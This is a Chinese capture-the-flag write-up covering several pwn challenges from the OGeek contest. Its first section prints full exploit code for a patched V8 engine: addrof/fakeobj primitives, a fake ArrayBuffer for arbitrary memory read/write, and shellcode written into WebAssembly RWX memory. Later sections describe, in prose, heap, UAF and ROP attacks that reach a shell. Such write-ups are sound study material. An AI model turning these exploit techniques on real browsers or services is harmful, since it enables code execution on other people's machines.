OGeek线上CTF挑战赛pwn题详细Write Up
ace_challenge
解压附件,根据附件中的chal.patch文件分析题目对v8进行的修改,找到修改后导致的漏洞,并编写相应的利用代码:
1、exploit.js
var vuln_idx = 0;
var refs = [];
var shellcode = [0x48,0xbf,0x22,0x11,0xff,0xee,0xdd,0xcc,0xbb,0xaa,0x48,0x31,0xf6,0xb8,0x02,0x00,0x00,0x00,0x0f,0x05,0x48,0x89,0xfe,0x48,0x89,0xc7,0xba,0x64,0x00,0x00,0x00,0x31,0xc0,0x0f,0x05,0xc3];
var flag_buffer = new Uint8Array(0x1000);
var flag_path = "/data/local/tmp/flag";
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
let f = wasm_mod.exports._Z3addii;
function addrof(obj) {
let _addrof = eval(`
(obj) => {
function Inner${vuln_idx}() {
this.a${vuln_idx} = 1.1;
this.b${vuln_idx} = 2.2;
}
function Outer${vuln_idx}(inner) { this.inner${vuln_idx} = inner; }
var i = new Inner${vuln_idx}();
var o = new Outer${vuln_idx}(i);
Outer${vuln_idx}.prototype.boom = function () {
return this.inner${vuln_idx}.a${vuln_idx};
}
for(var idx = 0; idx < 0x10000; idx++) {
o.boom();
}
o = new Outer${vuln_idx}({a${vuln_idx}: obj, b${vuln_idx}: 2.2});
return o.boom();
}
`);
vuln_idx += 1;
return _addrof(obj);
}
function fakeobj(addr) {
let _fakeobj = eval(`
(addr) => {
function Inner${vuln_idx}() {
this.a${vuln_idx} = [];
this.b${vuln_idx} = 2.2;
}
function Outer${vuln_idx}(inner) { this.inner${vuln_idx} = inner; }
var i = new Inner${vuln_idx}();
var o = new Outer${vuln_idx}(i);
Outer${vuln_idx}.prototype.boom = function () {
return this.inner${vuln_idx}.a${vuln_idx};
}
for(var idx = 0; idx < 0x10000; idx++) {
o.boom();
}
o = new Outer${vuln_idx}({a${vuln_idx}: addr, b${vuln_idx}: 2.2});
return o.boom();
}
`);
vuln_idx += 1;
return _fakeobj(addr);
}
// leak map using oob
function leak_map() {
function Outer(inner) {
this.inner = inner;
}
var cross_off = 17;
var obj_str = "var inner = {";
for(var i = 0; i < = cross_off; i++) {
obj_str += String.fromCharCode(0x61 + i);
obj_str += ": 1.1, ";
}
obj_str += "}";
eval(obj_str);
var outer = new Outer(inner);
Outer.prototype.boom = function () {
return this.inner.r;
};
var i2 = {a: 1.1, b: 2.2};
var ab = new ArrayBuffer(0x100);
for(var i = 0; i < 20000; i++) {
outer.boom();
}
outer = new Outer(i2);
var leak = outer.boom();
return leak;
}
function u2d(u) {
return (new Int64(u)).asDouble();
}
function pwn() {
// preparation
for(var i = 0; i < 0x1000; i++) {
refs.push([0.0, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7]);
}
// test exploit primitives
var obj = [1.1, 2.2, 3.3, 4.4];
var objaddr = addrof(obj);
var o = fakeobj(objaddr);
if(o[0] != 1.1) {
print("[-] Exploit primitives not working..");
return;
}
print("[+] Exploit primitives working fine.");
// exploitation
var ab_map = leak_map();
print("[+] Leaked map = " + Int64.fromDouble(ab_map).toString());
var o = {a:0.0, b:0.0, c:0.0, d:0.0, e:0.0, f:0.0, g: 0.0, h:0.0, i:0.0, j:0.0};
o.b = ab_map;
o.c = ab_map;
o.d = ab_map;
o.e = u2d(0x400);
o.f = u2d(0x41414141);
o.g = ab_map;
var o_addr = Int64.fromDouble(addrof(o));
print("[+] Object address: " + o_addr.toString());
var faked = Add(o_addr, 0x20);
var fake_ab = fakeobj(faked.asDouble());
print("[+] Fake ArrayBuffer created. Length: " + fake_ab.byteLength);
var rw = {
set_addr: function (addr) {
o.f = addr.asDouble();
},
write: function (addr, bytes) {
this.set_addr(addr);
var view = new Uint8Array(fake_ab);
view.set(bytes);
},
read8: function (addr) {
this.set_addr(addr);
var view = new Uint8Array(fake_ab);
return new Int64(view.slice(0, 8));
},
addrof: function (obj) {
return Int64.fromDouble(addrof(obj));
}
};
//var flag_ab = new Uint8Array([1,2,3]);
var addr_f = rw.addrof(f);
print("[+] func = " + addr_f.toString());
var shared_func_info = rw.read8(Add(Sub(addr_f, Int64.One), new Int64(0x18)));
print("[+] shared_func_info = " + shared_func_info.toString());
var exported = rw.read8(Add(Sub(shared_func_info, Int64.One), new Int64(8)));
print("[+] exported = " + exported.toString());
var instance = rw.read8(Add(Sub(exported, Int64.One), new Int64(0x10)));
print("[+] instance = " + instance.toString());
var rwx_memory = rw.read8(Add(Sub(instance, Int64.One), new Int64(0x88)));
print("[+] rwx_memory = " + rwx_memory.toString());
var fb_addr = rw.addrof(flag_buffer);
print("[+] fb_addr = " + fb_addr.toString());
var buf_addr = rw.read8(Add(Sub(fb_addr, Int64.One), new Int64(0x38)));
print("[+] buf_addr = " + buf_addr.toString());
for(var i = 0; i < flag_path.length; i++) {
flag_buffer[i] = flag_path.charCodeAt(i);
}
for(var i = 0; i < 8; i++) {
shellcode[i + 2] = buf_addr.byteAt(i);
}
rw.write(rwx_memory, shellcode);
f();
var flag = "";
for(var i = 0; i < flag_buffer.length; i++) {
if(flag_buffer[i] == 0) {
break;
}
flag += String.fromCharCode(flag_buffer[i]);
}
print("[+] Flag = " + flag);
print("[+] Done!");
return;
}
2、int64.js
//
// Tiny module that provides big (64bit) integers.
//
// Copyright (c) 2016 Samuel Groß
//
// Requires utils.js
//
// Datatype to represent 64-bit integers.
//
// Internally, the integer is stored as a Uint8Array in little endian byte order.
function Int64(v) {
// The underlying byte array.
var bytes = new Uint8Array(8);
switch (typeof v) {
case 'number':
v = '0x' + Math.floor(v).toString(16);
case 'string':
if (v.startsWith('0x'))
v = v.substr(2);
if (v.length % 2 == 1)
v = '0' + v;
var bigEndian = unhexlify(v, 8);
bytes.set(Array.from(bigEndian).reverse());
break;
case 'object':
if (v instanceof Int64) {
bytes.set(v.bytes());
} else {
if (v.length != 8)
throw TypeError("Array must have excactly 8 elements.");
bytes.set(v);
}
break;
case 'undefined':
break;
default:
throw TypeError("Int64 constructor requires an argument.");
}
// Return a double whith the same underlying bit representation.
this.asDouble = function() {
// Check for NaN
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
throw new RangeError("Integer can not be represented by a double");
return Struct.unpack(Struct.float64, bytes);
};
// Return a javascript value with the same underlying bit representation.
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
// due to double conversion constraints.
this.asJSValue = function() {
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
throw new RangeError("Integer can not be represented by a JSValue");
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
this.assignSub(this, 0x1000000000000);
var res = Struct.unpack(Struct.float64, bytes);
this.assignAdd(this, 0x1000000000000);
return res;
};
// Return the underlying bytes of this number as array.
this.bytes = function() {
return Array.from(bytes);
};
// Return the byte at the given index.
this.byteAt = function(i) {
return bytes[i];
};
// Return the value of this number as unsigned hex string.
this.toString = function() {
return '0x' + hexlify(Array.from(bytes).reverse());
};
this.asInt = function() {
return parseInt(this.toString());
}
// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.
// Decorator for Int64 instance operations. Takes care
// of converting arguments to Int64 instances if required.
function operation(f, nargs) {
return function() {
if (arguments.length != nargs)
throw Error("Not enough arguments for function " + f.name);
for (var i = 0; i < arguments.length; i++)
if (!(arguments[i] instanceof Int64))
arguments[i] = new Int64(arguments[i]);
return f.apply(this, arguments);
};
}
// this = -n (two's complement)
this.assignNeg = operation(function neg(n) {
for (var i = 0; i < 8; i++)
bytes[i] = ~n.byteAt(i);
return this.assignAdd(this, Int64.One);
}, 1);
// this = a + b
this.assignAdd = operation(function add(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) + b.byteAt(i) + carry;
carry = cur > 0xff | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a - b
this.assignSub = operation(function sub(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) - b.byteAt(i) - carry;
carry = cur < 0 | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a ^ b
this.assignXor = operation(function sub(a, b) {
for (var i = 0; i < 8; i++) {
bytes[i] = a.byteAt(i) ^ b.byteAt(i);
}
return this;
}, 2);
}
// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
var bytes = Struct.pack(Struct.float64, d);
return new Int64(bytes);
};
// Convenience functions. These allocate a new Int64 to hold the result.
// Return -n (two's complement)
function Neg(n) {
return (new Int64()).assignNeg(n);
}
// Return a + b
function Add(a, b) {
return (new Int64()).assignAdd(a, b);
}
// Return a - b
function Sub(a, b) {
return (new Int64()).assignSub(a, b);
}
// Return a ^ b
function Xor(a, b) {
return (new Int64()).assignXor(a, b);
}
// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);
3、shellcode.asm
; nasm -f bin -o shellcode.bin shellcode.asm
org 0100h
BITS 64
mov rdi, 0xaabbccddeeff1122
xor rsi, rsi
mov eax, 2
syscall
mov rsi, rdi
mov rdi, rax
mov rdx, 0x64
xor eax, eax
syscall
ret
4、utils.js
//
// Utility functions.
//
// Copyright (c) 2016 Samuel Groß
//
// Print function in browser context.
function browser_print(msg) {
console.log(msg);
document.body.innerText += msg + 'n';
}
if (typeof(window) !== 'undefined')
print = browser_print;
// Log a message and abort execution.
function fail(msg) {
print("[-] " + msg);
throw null;
}
// Simple assert function.
function assert(cond, msg) {
if (!cond) {
fail(msg);
}
}
// Return the hexadecimal representation of the given byte.
function hex(b) {
return ('0' + b.toString(16)).substr(-2);
}
// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
var res = [];
for (var i = 0; i < bytes.length; i++)
res.push(hex(bytes[i]));
return res.join('');
}
// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
if (hexstr.length % 2 == 1)
throw new TypeError("Invalid hex string");
var bytes = new Uint8Array(hexstr.length / 2);
for (var i = 0; i < hexstr.length; i += 2)
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
return bytes;
}
function hexdump(data) {
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
data = Array.from(data);
var lines = [];
for (var i = 0; i < data.length; i += 16) {
var chunk = data.slice(i, i+16);
var parts = chunk.map(hex);
if (parts.length > 8)
parts.splice(8, 0, ' ');
lines.push(parts.join(' '));
}
return lines.join('n');
}
// Simplified version of the similarly named python module.
var Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
var buffer = new ArrayBuffer(8);
var byteView = new Uint8Array(buffer);
var uint32View = new Uint32Array(buffer);
var float64View = new Float64Array(buffer);
return {
pack: function(type, value) {
var view = type; // See below
view[0] = value;
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
},
unpack: function(type, bytes) {
if (bytes.length !== type.BYTES_PER_ELEMENT)
throw Error("Invalid bytearray");
var view = type; // See below
byteView.set(bytes);
return view[0];
},
// Available types.
int8: byteView,
int32: uint32View,
float64: float64View
};
})();
let retry = () => {
location.reload(true);
};
function DbgBreak() {
alert('Break!');
}
编写完利用代码之后,选手需要自己搭建http server并提交URL到题目服务器。题目服务器会在本地自动运行Android模拟器并测试选手的利用,并将模拟器的窗口录制下来作为结果返回给选手
babyheap
程序有增删改查四个功能,允许最多增加18个大小不超过0x100的堆块(即不会调用windows heap的LFH机制),在改的功能中存在 arbitrary heap overflow,同 linux heap exploitation类似,windows heap也存在unlink 攻击,合理覆盖 _HEAP_FREE_ENTRY 的 Flink/Blink即可实现 DWshoot。
这里使用的方法是通过unlink攻击g_list[i]使其指向自身,这样配合改和查的功能就实现了任意地址读写。
有两点需要注意:
1.堆溢出时需要合法的覆写下一个 _HEAP_ENTRY 的 header,这里可以使用堆溢出覆写 printf terminator 来 leak 相同大小的 encrypted header
2.在linux下,任意读写后可以使用读写GOT来leak libc和劫持控制流,但windows的IAT只读,可以leak,但不能用来劫持控制流,因此这里采取的方法是依次leak : kernel32.dll -> kernelbase.dll -> BasepFilterInfo -> stack pointer -> ret addr,同时通过leak ucrtbased.dll可以得到system的地址,这样我们就有了主函数的返回地址在栈上的位置和system地址,接下来通过任意地址写改写栈,通过ROP调用system(“cmd.exe ”)即可
结果如下图所示:
babyrop
本题存在明显栈溢出,要进入溢出函数首先要绕过一个随机值校验。如下图所示,随机值校验使用strncmp,长度使用strlen来计算, 因此只要输入字符以x00开始,则可以绕过该比较。
take_input将接收上一步用户输入的字符串中的第一个字符作为输入。
如下图,参数长度可以控制read的输入长度,因此最大可以使用0xff作为输入长度。
在这里通过覆盖saved ebp来修改ebp的值,如下图:
通过布置ROP链来修改esp到新的位置(stack pivot),同时将新的ROP链读到目标位置,从而返回执行,
在执行的过程中通过调用write来泄露信息,计算libc的基址,从而最终可以调用system(“/bin/sh”)。
bookmanager
在新建Chapter时需要输入Chapter name,而在Chapter name的存储空间是32字节,输入32字节后且并未以0截断。
使用Book preview功能,Chapter name之后信息将被打印。由于Chapter name之后是一张存储Section地址的表,那么这里可以得到堆得地址。
此处会泄露地址:0x5576c5f6c130
在释放一个Section结构体时存在UAF,如下图。
因为存在UAF,所以可以进一步调用Update功能来修改已释放块的fd指针,进而构造了一个fastbin attack。
将新的伪造fastbin chunk分配回来修改,达到修改Text指针的目的,从而实现任意地址的读写。如下图已释放的0x55e4b45a0120块的fd指针从0x0修改为0x55e4b45a0170,将伪造的0x55e4b45a0170块分配回来修改起Section name,此时恰好修改的是0x55e4b45a0160块的Text指针。
通过分配及释放可以找到unsorted bin的地址,从而找到libc的基址,如下图。
根据libc基址找到envrion,并得到栈的地址。从而可以在栈上布置ROP链,执行system(“/bin/sh”)
colorfulpwn
Step1:
按照正常规则生成带有`file_header``info_header``color_table``pixel_table`的bmp格式文件
Step2:
提前设置info_header中的colors_in_color_table变量导致输出color_table时导致上传后jemalloc堆区越界读
Step3:
在前端P图界面调整色调后撤销所有操作触发UAF
Step4:
精心构造P图时的commiter信息导致UAF后用one_gadget占位libc GOT表中的strlen
Step5:
Oob将flag带出
from the shadow
这是一个代理服务器,通过逆向分析alloc
当random_len为0xff的时候会发生整型溢出,之后导致栈溢出。
在代理转发的地方 pack 也有一个整型溢出,进行堆构造可以leak出heap地址和libc地址。
Pad 为 char 值,当构造pad 为0xff ,data_size -= pad 导致整型溢出,当 realloc 的时候回分配更大的值出来,导致越界读,在之后导致内存读。
由于进程为fork,因此内存映射变化情况不变,则可先leak 后构造rop。
程序开启了 PIE 但,pop rdi 等gadget 可在libc中找到。
最后rop 即可,getshell。
hub
程序有三个功能,malloc分配内存,write改写最新分配的内存内容以及通过最新分配内存地址加偏移的形式free任意地址。
因为没有show的能力,通过double free 使tcache指针指向自己,改写堆上tcache列表头指针低位来改写_IO_write_base使用puts泄露地址,同时需要保证flags &0x2000 标志位为真。得到地址后修改free_hook为one_gadget地址getshell。改写指针过程中有4bits未知,1/16概率成功。
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
随时掌握互联网精彩
- 1 奋力打开改革发展新天地 7987759
- 2 中国黄金原董事长家搜出大量黄金 7983837
- 3 保时捷断臂求生 7828783
- 4 “冷资源”里的“热经济” 7739756
- 5 女子过马路遭压路机辗压身亡 7694851
- 6 服刑期间李铁需要剪掉长发 7531857
- 7 拜登宣布将为37名联邦死囚减刑 7481535
- 8 喝水后有4种表现提示肾有问题 7318541
- 9 山姆代购在厕所分装蛋糕 7286097
- 10 刘强东提前发年终奖 7199835